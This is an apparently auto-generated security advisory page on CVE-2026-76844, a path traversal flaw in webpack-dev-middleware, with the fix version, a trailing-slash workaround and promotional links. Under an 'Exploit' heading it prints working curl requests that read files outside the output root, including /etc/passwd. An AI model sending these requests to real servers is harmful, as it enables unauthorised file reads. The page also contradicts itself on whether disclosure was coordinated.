webpack-dev-middleware, Path Traversal, CVE-2026-76844 -DC-Sep2026-2606

Listen to this Post

CVE-2026-76844 affects webpack-dev-middleware.

It is a path traversal issue.

It occurs in getFilenameFromUrl.

The function resolves requests to local files.

The configured publicPath is used.

If publicPath lacks trailing slash, risk rises.

Example publicPath is /assets.

A request like /assets../secret shares prefix.

It is not actually under /assets.

The containment check still passes.

The .. guard runs before publicPath strip.

So it does not catch traversal.

The publicPath prefix is stripped later.

The remainder contains ../.

That remainder is joined to output directory.

The joined path escapes output root.

An unauthenticated request can read files.

Files outside output root may leak.

Affected apps use webpack-dev-middleware.

They may use webpack-dev-server.

publicPath must not end in slash.

A network-reachable dev server is vulnerable.

One request can trigger it.

No victim interaction is needed.

VulnCheck assigned CVE-2026-76844.

Published 2026-08-24.

No prior coordination occurred.

Patched in webpack-dev-middleware 8.3.0.

No backport to 5.x, 6.x, 7.x.

Upgrade to 8.3.0 or later.

Workaround uses trailing slash.

Example /assets/ instead of /assets.

This is coordinated advisory record.

DailyCVE Form:

Platform: webpack-dev-middleware
Version: <8.3.0
Vulnerability : Path traversal
Severity: Not stated
date: 2026-08-24

Prediction: Expected date unknown

(end of form)

What Undercode Say:

curl --path-as-is 'http://127.0.0.1:8080/assets../secret'
curl --path-as-is 'http://127.0.0.1:8080/assets../package.json'
const webpack = require('webpack');
const webpackDevMiddleware = require('webpack-dev-middleware');
const compiler = webpack({});
app.use(webpackDevMiddleware(compiler, { publicPath: '/assets' }));
app.use(webpackDevMiddleware(compiler, { publicPath: '/assets/' }));

Exploit: (Educational Purposes!)

curl --path-as-is 'http://target/assets../secret'
curl --path-as-is 'http://target/assets../etc/passwd'

Protection: from this CVE

npm install [email protected]
app.use(webpackDevMiddleware(compiler, { publicPath: '/assets/' }));

Impact:

Unauthenticated file read.

Outside output root.

Single request.

No victim interaction.

Network-reachable dev servers.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top